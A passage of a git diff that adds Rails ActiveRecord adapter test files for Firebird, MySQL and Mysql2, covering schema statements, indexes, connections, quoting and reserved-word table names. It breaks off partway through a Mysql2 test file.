+ assert_equal :boolean, @connection.columns(:foo).find { |c| c.name == "baz" }.type
+ end
+
+ def test_change_column_to_boolean
+ assert !boolean_domain_exists?
+ # Manually create table with a SMALLINT column, which can be changed to a BOOLEAN
+ @connection.execute "CREATE TABLE foo (bar SMALLINT)"
+ assert_equal :integer, @connection.columns(:foo).find { |c| c.name == "bar" }.type
+
+ assert_nothing_raised { @connection.change_column :foo, :bar, :boolean }
+ assert boolean_domain_exists?
+ assert_equal :boolean, @connection.columns(:foo).find { |c| c.name == "bar" }.type
+ end
+
+ def test_rename_table_with_data_and_index
+ @connection.create_table :foo do |f|
+ f.column :baz, :string, :limit => 50
+ end
+ 100.times { |i| @connection.execute "INSERT INTO foo VALUES (GEN_ID(foo_seq, 1), 'record #{i+1}')" }
+ @connection.add_index :foo, :baz
+
+ assert_nothing_raised { @connection.rename_table :foo, :bar }
+ assert !@connection.tables.include?("foo")
+ assert @connection.tables.include?("bar")
+ assert_equal "index_bar_on_baz", @connection.indexes("bar").first.name
+ assert_equal 100, FireRuby::Generator.new("bar_seq", @fireruby_connection).last
+ assert_equal 100, @connection.select_one("SELECT COUNT(*) FROM bar")["count"]
+ ensure
+ @connection.drop_table :bar rescue nil
+ end
+
+ def test_renaming_table_with_fk_constraint_raises_error
+ @connection.create_table :parent do |p|
+ p.column :name, :string
+ end
+ @connection.create_table :child do |c|
+ c.column :parent_id, :integer
+ end
+ @connection.execute "ALTER TABLE child ADD CONSTRAINT fk_child_parent FOREIGN KEY(parent_id) REFERENCES parent(id)"
+ assert_raise(ActiveRecord::ActiveRecordError) { @connection.rename_table :child, :descendant }
+ ensure
+ @connection.drop_table :child rescue nil
+ @connection.drop_table :descendant rescue nil
+ @connection.drop_table :parent rescue nil
+ end
+
+ private
+ def boolean_domain_exists?
+ !@connection.select_one("SELECT 1 FROM rdb$fields WHERE rdb$field_name = 'D_BOOLEAN'").nil?
+ end
+
+ def sequence_exists?(sequence_name)
+ FireRuby::Generator.exists?(sequence_name, @fireruby_connection)
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql/active_schema_test.rb b/activerecord/test/cases/adapters/mysql/active_schema_test.rb
new file mode 100644
index 0000000..e6d0183
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/active_schema_test.rb
@@ -0,0 +1,148 @@
+require "cases/helper"
+
+class ActiveSchemaTest < ActiveRecord::TestCase
+ def setup
+ ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do
+ alias_method :execute_without_stub, :execute
+ remove_method :execute
+ def execute(sql, name = nil) return sql end
+ end
+ end
+
+ def teardown
+ ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do
+ remove_method :execute
+ alias_method :execute, :execute_without_stub
+ end
+ end
+
+ def test_add_index
+ # add_index calls index_name_exists? which can't work since execute is stubbed
+ ActiveRecord::ConnectionAdapters::MysqlAdapter.send(:define_method, :index_name_exists?) do |*|
+ false
+ end
+ expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`) "
+ assert_equal expected, add_index(:people, :last_name, :length => nil)
+
+ expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`(10)) "
+ assert_equal expected, add_index(:people, :last_name, :length => 10)
+
+ expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(15)) "
+ assert_equal expected, add_index(:people, [:last_name, :first_name], :length => 15)
+
+ expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`) "
+ assert_equal expected, add_index(:people, [:last_name, :first_name], :length => {:last_name => 15})
+
+ expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(10)) "
+ assert_equal expected, add_index(:people, [:last_name, :first_name], :length => {:last_name => 15, :first_name => 10})
+
+ %w(SPATIAL FULLTEXT UNIQUE).each do |type|
+ expected = "CREATE #{type} INDEX `index_people_on_last_name` ON `people` (`last_name`) "
+ assert_equal expected, add_index(:people, :last_name, :type => type)
+ end
+
+ %w(btree hash).each do |using|
+ expected = "CREATE INDEX `index_people_on_last_name` USING #{using} ON `people` (`last_name`) "
+ assert_equal expected, add_index(:people, :last_name, :using => using)
+ end
+
+ expected = "CREATE INDEX `index_people_on_last_name` USING btree ON `people` (`last_name`(10)) "
+ assert_equal expected, add_index(:people, :last_name, :length => 10, :using => :btree)
+
+ expected = "CREATE INDEX `index_people_on_last_name` USING btree ON `people` (`last_name`(10)) ALGORITHM = COPY"
+ assert_equal expected, add_index(:people, :last_name, :length => 10, using: :btree, algorithm: :copy)
+
+ assert_raise ArgumentError do
+ add_index(:people, :last_name, algorithm: :coyp)
+ end
+
+ expected = "CREATE INDEX `index_people_on_last_name_and_first_name` USING btree ON `people` (`last_name`(15), `first_name`(15)) "
+ assert_equal expected, add_index(:people, [:last_name, :first_name], :length => 15, :using => :btree)
+
+ ActiveRecord::ConnectionAdapters::MysqlAdapter.send(:remove_method, :index_name_exists?)
+ end
+
+ def test_drop_table
+ assert_equal "DROP TABLE `people`", drop_table(:people)
+ end
+
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ def test_create_mysql_database_with_encoding
+ assert_equal "CREATE DATABASE `matt` DEFAULT CHARACTER SET `utf8`", create_database(:matt)
+ assert_equal "CREATE DATABASE `aimonetti` DEFAULT CHARACTER SET `latin1`", create_database(:aimonetti, {:charset => 'latin1'})
+ assert_equal "CREATE DATABASE `matt_aimonetti` DEFAULT CHARACTER SET `big5` COLLATE `big5_chinese_ci`", create_database(:matt_aimonetti, {:charset => :big5, :collation => :big5_chinese_ci})
+ end
+
+ def test_recreate_mysql_database_with_encoding
+ create_database(:luca, {:charset => 'latin1'})
+ assert_equal "CREATE DATABASE `luca` DEFAULT CHARACTER SET `latin1`", recreate_database(:luca, {:charset => 'latin1'})
+ end
+ end
+
+ def test_add_column
+ assert_equal "ALTER TABLE `people` ADD `last_name` varchar(255)", add_column(:people, :last_name, :string)
+ end
+
+ def test_add_column_with_limit
+ assert_equal "ALTER TABLE `people` ADD `key` varchar(32)", add_column(:people, :key, :string, :limit => 32)
+ end
+
+ def test_drop_table_with_specific_database
+ assert_equal "DROP TABLE `otherdb`.`people`", drop_table('otherdb.people')
+ end
+
+ def test_add_timestamps
+ with_real_execute do
+ begin
+ ActiveRecord::Base.connection.create_table :delete_me
+ ActiveRecord::Base.connection.add_timestamps :delete_me
+ assert column_present?('delete_me', 'updated_at', 'datetime')
+ assert column_present?('delete_me', 'created_at', 'datetime')
+ ensure
+ ActiveRecord::Base.connection.drop_table :delete_me rescue nil
+ end
+ end
+ end
+
+ def test_remove_timestamps
+ with_real_execute do
+ begin
+ ActiveRecord::Base.connection.create_table :delete_me do |t|
+ t.timestamps
+ end
+ ActiveRecord::Base.connection.remove_timestamps :delete_me
+ assert !column_present?('delete_me', 'updated_at', 'datetime')
+ assert !column_present?('delete_me', 'created_at', 'datetime')
+ ensure
+ ActiveRecord::Base.connection.drop_table :delete_me rescue nil
+ end
+ end
+ end
+
+ private
+ def with_real_execute
+ #we need to actually modify some data, so we make execute point to the original method
+ ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do
+ alias_method :execute_with_stub, :execute
+ remove_method :execute
+ alias_method :execute, :execute_without_stub
+ end
+ yield
+ ensure
+ #before finishing, we restore the alias to the mock-up method
+ ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do
+ remove_method :execute
+ alias_method :execute, :execute_with_stub
+ end
+ end
+
+
+ def method_missing(method_symbol, *arguments)
+ ActiveRecord::Base.connection.send(method_symbol, *arguments)
+ end
+
+ def column_present?(table_name, column_name, type)
+ results = ActiveRecord::Base.connection.select_all("SHOW FIELDS FROM #{table_name} LIKE '#{column_name}'")
+ results.first && results.first['Type'] == type
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb b/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb
new file mode 100644
index 0000000..97adb6b
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb
@@ -0,0 +1,35 @@
+require "cases/helper"
+require 'models/person'
+
+class MysqlCaseSensitivityTest < ActiveRecord::TestCase
+ class CollationTest < ActiveRecord::Base
+ validates_uniqueness_of :string_cs_column, :case_sensitive => false
+ validates_uniqueness_of :string_ci_column, :case_sensitive => false
+ end
+
+ def test_columns_include_collation_different_from_table
+ assert_equal 'utf8_bin', CollationTest.columns_hash['string_cs_column'].collation
+ assert_equal 'utf8_general_ci', CollationTest.columns_hash['string_ci_column'].collation
+ end
+
+ def test_case_sensitive
+ assert !CollationTest.columns_hash['string_ci_column'].case_sensitive?
+ assert CollationTest.columns_hash['string_cs_column'].case_sensitive?
+ end
+
+ def test_case_insensitive_comparison_for_ci_column
+ CollationTest.create!(:string_ci_column => 'A')
+ invalid = CollationTest.new(:string_ci_column => 'a')
+ queries = assert_sql { invalid.save }
+ ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) }
+ assert_no_match(/lower/i, ci_uniqueness_query)
+ end
+
+ def test_case_insensitive_comparison_for_cs_column
+ CollationTest.create!(:string_cs_column => 'A')
+ invalid = CollationTest.new(:string_cs_column => 'a')
+ queries = assert_sql { invalid.save }
+ cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) }
+ assert_match(/lower/i, cs_uniqueness_query)
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql/connection_test.rb b/activerecord/test/cases/adapters/mysql/connection_test.rb
new file mode 100644
index 0000000..1844a2e
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/connection_test.rb
@@ -0,0 +1,172 @@
+require "cases/helper"
+
+class MysqlConnectionTest < ActiveRecord::TestCase
+ class Klass < ActiveRecord::Base
+ end
+
+ def setup
+ super
+ @connection = ActiveRecord::Base.connection
+ end
+
+ def test_mysql_reconnect_attribute_after_connection_with_reconnect_true
+ run_without_connection do |orig_connection|
+ ActiveRecord::Base.establish_connection(orig_connection.merge({:reconnect => true}))
+ assert ActiveRecord::Base.connection.raw_connection.reconnect
+ end
+ end
+
+ def test_connect_with_url
+ run_without_connection do
+ ar_config = ARTest.connection_config['arunit']
+
+ skip "This test doesn't work with custom socket location" if ar_config['socket']
+
+ url = "mysql://#{ar_config["username"]}@localhost/#{ar_config["database"]}"
+ Klass.establish_connection(url)
+ assert_equal ar_config['database'], Klass.connection.current_database
+ end
+ end
+
+ def test_mysql_reconnect_attribute_after_connection_with_reconnect_false
+ run_without_connection do |orig_connection|
+ ActiveRecord::Base.establish_connection(orig_connection.merge({:reconnect => false}))
+ assert !ActiveRecord::Base.connection.raw_connection.reconnect
+ end
+ end
+
+ def test_no_automatic_reconnection_after_timeout
+ assert @connection.active?
+ @connection.update('set @@wait_timeout=1')
+ sleep 2
+ assert !@connection.active?
+ end
+
+ def test_successful_reconnection_after_timeout_with_manual_reconnect
+ assert @connection.active?
+ @connection.update('set @@wait_timeout=1')
+ sleep 2
+ @connection.reconnect!
+ assert @connection.active?
+ end
+
+ def test_successful_reconnection_after_timeout_with_verify
+ assert @connection.active?
+ @connection.update('set @@wait_timeout=1')
+ sleep 2
+ @connection.verify!
+ assert @connection.active?
+ end
+
+ def test_bind_value_substitute
+ bind_param = @connection.substitute_at('foo', 0)
+ assert_equal Arel.sql('?'), bind_param
+ end
+
+ def test_exec_no_binds
+ @connection.exec_query('drop table if exists ex')
+ @connection.exec_query(<<-eosql)
+ CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
+ `data` varchar(255))
+ eosql
+ result = @connection.exec_query('SELECT id, data FROM ex')
+ assert_equal 0, result.rows.length
+ assert_equal 2, result.columns.length
+ assert_equal %w{ id data }, result.columns
+
+ @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+
+ # if there are no bind parameters, it will return a string (due to
+ # the libmysql api)
+ result = @connection.exec_query('SELECT id, data FROM ex')
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
+
+ assert_equal [['1', 'foo']], result.rows
+ end
+
+ def test_exec_with_binds
+ @connection.exec_query('drop table if exists ex')
+ @connection.exec_query(<<-eosql)
+ CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
+ `data` varchar(255))
+ eosql
+ @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+ result = @connection.exec_query(
+ 'SELECT id, data FROM ex WHERE id = ?', nil, [[nil, 1]])
+
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
+
+ assert_equal [[1, 'foo']], result.rows
+ end
+
+ def test_exec_typecasts_bind_vals
+ @connection.exec_query('drop table if exists ex')
+ @connection.exec_query(<<-eosql)
+ CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
+ `data` varchar(255))
+ eosql
+ @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+ column = @connection.columns('ex').find { |col| col.name == 'id' }
+
+ result = @connection.exec_query(
+ 'SELECT id, data FROM ex WHERE id = ?', nil, [[column, '1-fuu']])
+
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
+
+ assert_equal [[1, 'foo']], result.rows
+ end
+
+ # Test that MySQL allows multiple results for stored procedures
+ if defined?(Mysql) && Mysql.const_defined?(:CLIENT_MULTI_RESULTS)
+ def test_multi_results
+ rows = ActiveRecord::Base.connection.select_rows('CALL ten();')
+ assert_equal 10, rows[0][0].to_i, "ten() did not return 10 as expected: #{rows.inspect}"
+ assert @connection.active?, "Bad connection use by 'MysqlAdapter.select_rows'"
+ end
+ end
+
+ def test_mysql_default_in_strict_mode
+ result = @connection.exec_query "SELECT @@SESSION.sql_mode"
+ assert_equal [["STRICT_ALL_TABLES"]], result.rows
+ end
+
+ def test_mysql_strict_mode_disabled_dont_override_global_sql_mode
+ run_without_connection do |orig_connection|
+ ActiveRecord::Base.establish_connection(orig_connection.merge({:strict => false}))
+ global_sql_mode = ActiveRecord::Base.connection.exec_query "SELECT @@GLOBAL.sql_mode"
+ session_sql_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.sql_mode"
+ assert_equal global_sql_mode.rows, session_sql_mode.rows
+ end
+ end
+
+ def test_mysql_set_session_variable
+ run_without_connection do |orig_connection|
+ ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:default_week_format => 3}}))
+ session_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.DEFAULT_WEEK_FORMAT"
+ assert_equal 3, session_mode.rows.first.first.to_i
+ end
+ end
+
+ def test_mysql_set_session_variable_to_default
+ run_without_connection do |orig_connection|
+ ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:default_week_format => :default}}))
+ global_mode = ActiveRecord::Base.connection.exec_query "SELECT @@GLOBAL.DEFAULT_WEEK_FORMAT"
+ session_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.DEFAULT_WEEK_FORMAT"
+ assert_equal global_mode.rows, session_mode.rows
+ end
+ end
+
+ private
+
+ def run_without_connection
+ original_connection = ActiveRecord::Base.remove_connection
+ begin
+ yield original_connection
+ ensure
+ ActiveRecord::Base.establish_connection(original_connection)
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql/enum_test.rb b/activerecord/test/cases/adapters/mysql/enum_test.rb
new file mode 100644
index 0000000..f4e7a3e
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/enum_test.rb
@@ -0,0 +1,10 @@
+require "cases/helper"
+
+class MysqlEnumTest < ActiveRecord::TestCase
+ class EnumTest < ActiveRecord::Base
+ end
+
+ def test_enum_limit
+ assert_equal 6, EnumTest.columns.first.limit
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb b/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
new file mode 100644
index 0000000..a75883c
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
@@ -0,0 +1,112 @@
+# encoding: utf-8
+
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class MysqlAdapterTest < ActiveRecord::TestCase
+ def setup
+ @conn = ActiveRecord::Base.connection
+ @conn.exec_query('drop table if exists ex')
+ @conn.exec_query(<<-eosql)
+ CREATE TABLE `ex` (
+ `id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
+ `number` integer,
+ `data` varchar(255))
+ eosql
+ end
+
+ def test_valid_column
+ column = @conn.columns('ex').find { |col| col.name == 'id' }
+ assert @conn.valid_type?(column.type)
+ end
+
+ def test_invalid_column
+ assert_not @conn.valid_type?(:foobar)
+ end
+
+ def test_client_encoding
+ assert_equal Encoding::UTF_8, @conn.client_encoding
+ end
+
+ def test_exec_insert_number
+ insert(@conn, 'number' => 10)
+
+ result = @conn.exec_query('SELECT number FROM ex WHERE number = 10')
+
+ assert_equal 1, result.rows.length
+ # if there are no bind parameters, it will return a string (due to
+ # the libmysql api)
+ assert_equal '10', result.rows.last.last
+ end
+
+ def test_exec_insert_string
+ str = 'いただきます!'
+ insert(@conn, 'number' => 10, 'data' => str)
+
+ result = @conn.exec_query('SELECT number, data FROM ex WHERE number = 10')
+
+ value = result.rows.last.last
+
+ # FIXME: this should probably be inside the mysql AR adapter?
+ value.force_encoding(@conn.client_encoding)
+
+ # The strings in this file are utf-8, so transcode to utf-8
+ value.encode!(Encoding::UTF_8)
+
+ assert_equal str, value
+ end
+
+ def test_tables_quoting
+ @conn.tables(nil, "foo-bar", nil)
+ flunk
+ rescue => e
+ # assertion for *quoted* database properly
+ assert_match(/database 'foo-bar'/, e.inspect)
+ end
+
+ def test_pk_and_sequence_for
+ pk, seq = @conn.pk_and_sequence_for('ex')
+ assert_equal 'id', pk
+ assert_equal @conn.default_sequence_name('ex', 'id'), seq
+ end
+
+ def test_pk_and_sequence_for_with_non_standard_primary_key
+ @conn.exec_query('drop table if exists ex_with_non_standard_pk')
+ @conn.exec_query(<<-eosql)
+ CREATE TABLE `ex_with_non_standard_pk` (
+ `code` INT(11) DEFAULT NULL auto_increment,
+ PRIMARY KEY (`code`))
+ eosql
+ pk, seq = @conn.pk_and_sequence_for('ex_with_non_standard_pk')
+ assert_equal 'code', pk
+ assert_equal @conn.default_sequence_name('ex_with_non_standard_pk', 'code'), seq
+ end
+
+ def test_pk_and_sequence_for_with_custom_index_type_pk
+ @conn.exec_query('drop table if exists ex_with_custom_index_type_pk')
+ @conn.exec_query(<<-eosql)
+ CREATE TABLE `ex_with_custom_index_type_pk` (
+ `id` INT(11) DEFAULT NULL auto_increment,
+ PRIMARY KEY USING BTREE (`id`))
+ eosql
+ pk, seq = @conn.pk_and_sequence_for('ex_with_custom_index_type_pk')
+ assert_equal 'id', pk
+ assert_equal @conn.default_sequence_name('ex_with_custom_index_type_pk', 'id'), seq
+ end
+
+ private
+ def insert(ctx, data)
+ binds = data.map { |name, value|
+ [ctx.columns('ex').find { |x| x.name == name }, value]
+ }
+ columns = binds.map(&:first).map(&:name)
+
+ sql = "INSERT INTO ex (#{columns.join(", ")})
+ VALUES (#{(['?'] * columns.length).join(', ')})"
+
+ ctx.exec_insert(sql, 'SQL', binds)
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql/quoting_test.rb b/activerecord/test/cases/adapters/mysql/quoting_test.rb
new file mode 100644
index 0000000..3d1330e
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/quoting_test.rb
@@ -0,0 +1,25 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class MysqlAdapter
+ class QuotingTest < ActiveRecord::TestCase
+ def setup
+ @conn = ActiveRecord::Base.connection
+ end
+
+ def test_type_cast_true
+ c = Column.new(nil, 1, 'boolean')
+ assert_equal 1, @conn.type_cast(true, nil)
+ assert_equal 1, @conn.type_cast(true, c)
+ end
+
+ def test_type_cast_false
+ c = Column.new(nil, 1, 'boolean')
+ assert_equal 0, @conn.type_cast(false, nil)
+ assert_equal 0, @conn.type_cast(false, c)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql/reserved_word_test.rb b/activerecord/test/cases/adapters/mysql/reserved_word_test.rb
new file mode 100644
index 0000000..4cf4bc4
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/reserved_word_test.rb
@@ -0,0 +1,153 @@
+require "cases/helper"
+
+class Group < ActiveRecord::Base
+ Group.table_name = 'group'
+ belongs_to :select, :class_name => 'Select'
+ has_one :values
+end
+
+class Select < ActiveRecord::Base
+ Select.table_name = 'select'
+ has_many :groups
+end
+
+class Values < ActiveRecord::Base
+ Values.table_name = 'values'
+end
+
+class Distinct < ActiveRecord::Base
+ Distinct.table_name = 'distinct'
+ has_and_belongs_to_many :selects
+ has_many :values, :through => :groups
+end
+
+# a suite of tests to ensure the ConnectionAdapters#MysqlAdapter can handle tables with
+# reserved word names (ie: group, order, values, etc...)
+class MysqlReservedWordTest < ActiveRecord::TestCase
+ def setup
+ @connection = ActiveRecord::Base.connection
+
+ # we call execute directly here (and do similar below) because ActiveRecord::Base#create_table()
+ # will fail with these table names if these test cases fail
+
+ create_tables_directly 'group'=>'id int auto_increment primary key, `order` varchar(255), select_id int',
+ 'select'=>'id int auto_increment primary key',
+ 'values'=>'id int auto_increment primary key, group_id int',
+ 'distinct'=>'id int auto_increment primary key',
+ 'distinct_select'=>'distinct_id int, select_id int'
+ end
+
+ def teardown
+ drop_tables_directly ['group', 'select', 'values', 'distinct', 'distinct_select', 'order']
+ end
+
+ # create tables with reserved-word names and columns
+ def test_create_tables
+ assert_nothing_raised {
+ @connection.create_table :order do |t|
+ t.column :group, :string
+ end
+ }
+ end
+
+ # rename tables with reserved-word names
+ def test_rename_tables
+ assert_nothing_raised { @connection.rename_table(:group, :order) }
+ end
+
+ # alter column with a reserved-word name in a table with a reserved-word name
+ def test_change_columns
+ assert_nothing_raised { @connection.change_column_default(:group, :order, 'whatever') }
+ #the quoting here will reveal any double quoting issues in change_column's interaction with the column method in the adapter
+ assert_nothing_raised { @connection.change_column('group', 'order', :Int, :default => 0) }
+ assert_nothing_raised { @connection.rename_column(:group, :order, :values) }
+ end
+
+ # introspect table with reserved word name
+ def test_introspect
+ assert_nothing_raised { @connection.columns(:group) }
+ assert_nothing_raised { @connection.indexes(:group) }
+ end
+
+ #fixtures
+ self.use_instantiated_fixtures = true
+ self.use_transactional_fixtures = false
+
+ #activerecord model class with reserved-word table name
+ def test_activerecord_model
+ create_test_fixtures :select, :distinct, :group, :values, :distinct_select
+ x = nil
+ assert_nothing_raised { x = Group.new }
+ x.order = 'x'
+ assert_nothing_raised { x.save }
+ x.order = 'y'
+ assert_nothing_raised { x.save }
+ assert_nothing_raised { Group.find_by_order('y') }
+ assert_nothing_raised { Group.find(1) }
+ Group.find(1)
+ end
+
+ # has_one association with reserved-word table name
+ def test_has_one_associations
+ create_test_fixtures :select, :distinct, :group, :values, :distinct_select
+ v = nil
+ assert_nothing_raised { v = Group.find(1).values }
+ assert_equal 2, v.id
+ end
+
+ # belongs_to association with reserved-word table name
+ def test_belongs_to_associations
+ create_test_fixtures :select, :distinct, :group, :values, :distinct_select
+ gs = nil
+ assert_nothing_raised { gs = Select.find(2).groups }
+ assert_equal gs.length, 2
+ assert(gs.collect{|x| x.id}.sort == [2, 3])
+ end
+
+ # has_and_belongs_to_many with reserved-word table name
+ def test_has_and_belongs_to_many
+ create_test_fixtures :select, :distinct, :group, :values, :distinct_select
+ s = nil
+ assert_nothing_raised { s = Distinct.find(1).selects }
+ assert_equal s.length, 2
+ assert(s.collect{|x|x.id}.sort == [1, 2])
+ end
+
+ # activerecord model introspection with reserved-word table and column names
+ def test_activerecord_introspection
+ assert_nothing_raised { Group.table_exists? }
+ assert_nothing_raised { Group.columns }
+ end
+
+ # Calculations
+ def test_calculations_work_with_reserved_words
+ assert_nothing_raised { Group.count }
+ end
+
+ def test_associations_work_with_reserved_words
+ assert_nothing_raised { Select.all.merge!(:includes => [:groups]).to_a }
+ end
+
+ #the following functions were added to DRY test cases
+
+ private
+ # custom fixture loader, uses FixtureSet#create_fixtures and appends base_path to the current file's path
+ def create_test_fixtures(*fixture_names)
+ ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT + "/reserved_words", fixture_names)
+ end
+
+ # custom drop table, uses execute on connection to drop a table if it exists. note: escapes table_name
+ def drop_tables_directly(table_names, connection = @connection)
+ table_names.each do |name|
+ connection.execute("DROP TABLE IF EXISTS `#{name}`")
+ end
+ end
+
+ # custom create table, uses execute on connection to create a table, note: escapes table_name, does NOT escape columns
+ def create_tables_directly (tables, connection = @connection)
+ tables.each do |table_name, column_properties|
+ connection.execute("CREATE TABLE `#{table_name}` ( #{column_properties} )")
+ end
+ end
+
+end
diff --git a/activerecord/test/cases/adapters/mysql/schema_test.rb b/activerecord/test/cases/adapters/mysql/schema_test.rb
new file mode 100644
index 0000000..807a7a1
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/schema_test.rb
@@ -0,0 +1,62 @@
+require "cases/helper"
+require 'models/post'
+require 'models/comment'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class MysqlSchemaTest < ActiveRecord::TestCase
+ fixtures :posts
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ db = Post.connection_pool.spec.config[:database]
+ table = Post.table_name
+ @db_name = db
+
+ @omgpost = Class.new(ActiveRecord::Base) do
+ self.table_name = "#{db}.#{table}"
+ def self.name; 'Post'; end
+ end
+ end
+
+ def test_schema
+ assert @omgpost.first
+ end
+
+ def test_primary_key
+ assert_equal 'id', @omgpost.primary_key
+ end
+
+ def test_table_exists?
+ name = @omgpost.table_name
+ assert @connection.table_exists?(name), "#{name} table should exist"
+ end
+
+ def test_table_exists_wrong_schema
+ assert(!@connection.table_exists?("#{@db_name}.zomg"), "table should not exist")
+ end
+
+ def test_dump_indexes
+ index_a_name = 'index_key_tests_on_snack'
+ index_b_name = 'index_key_tests_on_pizza'
+ index_c_name = 'index_key_tests_on_awesome'
+
+ table = 'key_tests'
+
+ indexes = @connection.indexes(table).sort_by {|i| i.name}
+ assert_equal 3,indexes.size
+
+ index_a = indexes.select{|i| i.name == index_a_name}[0]
+ index_b = indexes.select{|i| i.name == index_b_name}[0]
+ index_c = indexes.select{|i| i.name == index_c_name}[0]
+ assert_equal :btree, index_a.using
+ assert_nil index_a.type
+ assert_equal :btree, index_b.using
+ assert_nil index_b.type
+
+ assert_nil index_c.using
+ assert_equal :fulltext, index_c.type
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql/sp_test.rb b/activerecord/test/cases/adapters/mysql/sp_test.rb
new file mode 100644
index 0000000..3ca2917
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/sp_test.rb
@@ -0,0 +1,15 @@
+require "cases/helper"
+require 'models/topic'
+
+class StoredProcedureTest < ActiveRecord::TestCase
+ fixtures :topics
+
+ # Test that MySQL allows multiple results for stored procedures
+ if Mysql.const_defined?(:CLIENT_MULTI_RESULTS)
+ def test_multi_results_from_find_by_sql
+ topics = Topic.find_by_sql 'CALL topics();'
+ assert_equal 1, topics.size
+ assert ActiveRecord::Base.connection.active?, "Bad connection use by 'MysqlAdapter.select'"
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql/sql_types_test.rb b/activerecord/test/cases/adapters/mysql/sql_types_test.rb
new file mode 100644
index 0000000..1ddb1b9
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/sql_types_test.rb
@@ -0,0 +1,14 @@
+require "cases/helper"
+
+class SqlTypesTest < ActiveRecord::TestCase
+ def test_binary_types
+ assert_equal 'varbinary(64)', type_to_sql(:binary, 64)
+ assert_equal 'varbinary(4095)', type_to_sql(:binary, 4095)
+ assert_equal 'blob(4096)', type_to_sql(:binary, 4096)
+ assert_equal 'blob', type_to_sql(:binary)
+ end
+
+ def type_to_sql(*args)
+ ActiveRecord::Base.connection.type_to_sql(*args)
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql/statement_pool_test.rb b/activerecord/test/cases/adapters/mysql/statement_pool_test.rb
new file mode 100644
index 0000000..83de90f
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/statement_pool_test.rb
@@ -0,0 +1,23 @@
+require 'cases/helper'
+
+module ActiveRecord::ConnectionAdapters
+ class MysqlAdapter
+ class StatementPoolTest < ActiveRecord::TestCase
+ def test_cache_is_per_pid
+ return skip('must support fork') unless Process.respond_to?(:fork)
+
+ cache = StatementPool.new nil, 10
+ cache['foo'] = 'bar'
+ assert_equal 'bar', cache['foo']
+
+ pid = fork {
+ lookup = cache['foo'];
+ exit!(!lookup)
+ }
+
+ Process.waitpid pid
+ assert $?.success?, 'process should exit successfully'
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/active_schema_test.rb b/activerecord/test/cases/adapters/mysql2/active_schema_test.rb
new file mode 100644
index 0000000..8a2a7ef
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/active_schema_test.rb
@@ -0,0 +1,148 @@
+require "cases/helper"
+
+class ActiveSchemaTest < ActiveRecord::TestCase
+ def setup
+ ActiveRecord::ConnectionAdapters::Mysql2Adapter.class_eval do
+ alias_method :execute_without_stub, :execute
+ remove_method :execute
+ def execute(sql, name = nil) return sql end
+ end
+ end
+
+ def teardown
+ ActiveRecord::ConnectionAdapters::Mysql2Adapter.class_eval do
+ remove_method :execute
+ alias_method :execute, :execute_without_stub
+ end
+ end
+
+ def test_add_index
+ # add_index calls index_name_exists? which can't work since execute is stubbed
+ ActiveRecord::ConnectionAdapters::Mysql2Adapter.send(:define_method, :index_name_exists?) do |*|
+ false
+ end
